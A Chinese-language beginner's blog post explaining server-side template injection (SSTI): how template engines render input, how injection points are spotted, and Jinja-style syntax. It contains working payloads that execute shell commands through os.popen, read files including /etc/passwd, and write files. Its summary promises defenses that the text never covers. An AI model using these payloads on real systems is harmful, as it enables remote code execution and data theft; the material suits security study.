初识 SSTI 服务器端模板注入

本文探讨了服务器端模板注入(SSTI)的概念,涉及模板引擎的工作原理,常见漏洞利用方法如PHP的twig、smarty等,以及如何通过payload检测和构造。重点介绍了Python中的payload实例和防御措施。

SSTI( Server-Side Template Injection, 服务器端模板注入)

什么是模板

这里特指用于 web 开发的模板引擎,是为了用户界面与业务数据(内容)分离而产生的。
可以生成特定格式的文档,利用模板引擎来生成前端的html代码,反馈给浏览器,呈现在用户面前。
大概就是一个网页的框架,前端开发的一个东西。

用户的输入先进入Controller 控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给 View 视图层,经过模板渲染展示给用户。
简单来说就是我们输入的内容会在页面上显示。

而造成服务器端模板注入漏洞的成因就是服务端接收了用户的恶意输入后,未经任何处理就将其作为 web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,从而导致了敏感信息的泄露、代码执行、getshell 等问题。

影响范围主要取决于模板引擎的复杂性。

凡是使用模板的地方都可能出现 SSTI 服务器端模板注入的问题。

前面说到是通过模板进行注入,而模板有很多种。
比如
PHP中的常见的模板:twig、smarty、blade。
还有 Java 、python 的许多不同的模板。
每一个模板引擎都有着自己的语法,所以构造 payload 需要根据不同的模板引擎指定不同的扫描规则。

从网上看到的一张表,记录了很多不同的模板。
在这里插入图片描述

如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据。

<div>{$what}</div>
<p>Welcome,{{username}}</p>
<div>{%$a%}</div>

当知道我们要构造的我们的语句的规则,还要找到注入点,就像 sql 注入一样可能存在不同的注入点。
可能是 url 上 get 请求中参数的值,也可能是数据包中 X-Forwarded-For 的值

通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

比如
一个环境 url 中的参数存在服务器端模板注入。

url 为:127.0.0.1/ssti/?name=

在参数 name 的值上构造语句:

127.0.0.1/ssti/?name={{config.SECRET_KEY}}

——
——
一些语句格式:

{{ … }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% … %}:装载一个控制语句。
{# … #}:装载一个注释,模板渲染的时候会忽视这中间的值

比如用{{config}}获取当前设置:使用{{config.FLAG}}
又如语句{# comment #}{{2*8}} ,页面只会输出 16 ,{# comment #} 被注释忽略了。

——
——

python3

中可直接使用的 payload :
命令执行:

 {% for c in [].__class__.__base__.__subclasses__() %}{% if
 c.__name__=='catch_warnings' %}{{
 c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('这里输入命令').read()")
 }}{% endif %}{% endfor %}

如执行 ls 命令:

 {% for c in [].__class__.__base__.__subclasses__() %}{% if
 c.__name__=='catch_warnings' %}{{
 c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

就可以把所有文件名读取出来。

文件操作:

 {% for c in [].__class__.__base__.__subclasses__() %}{% if
 c.__name__=='catch_warnings' %}{{
 c.__init__.__globals__['__builtins__'].open('在这里输入文件名', 'r').read()
 }}{% endif %}{% endfor %}

——

python2

中可直接使用的 payload :
读文件:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('这里输入文件路径').read() }}

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

写文件:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

这里只初步学习了 SSTI 服务端模板注入。还有许多不同模板的注入规则、绕过姿势到后面接触到再慢慢学习。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值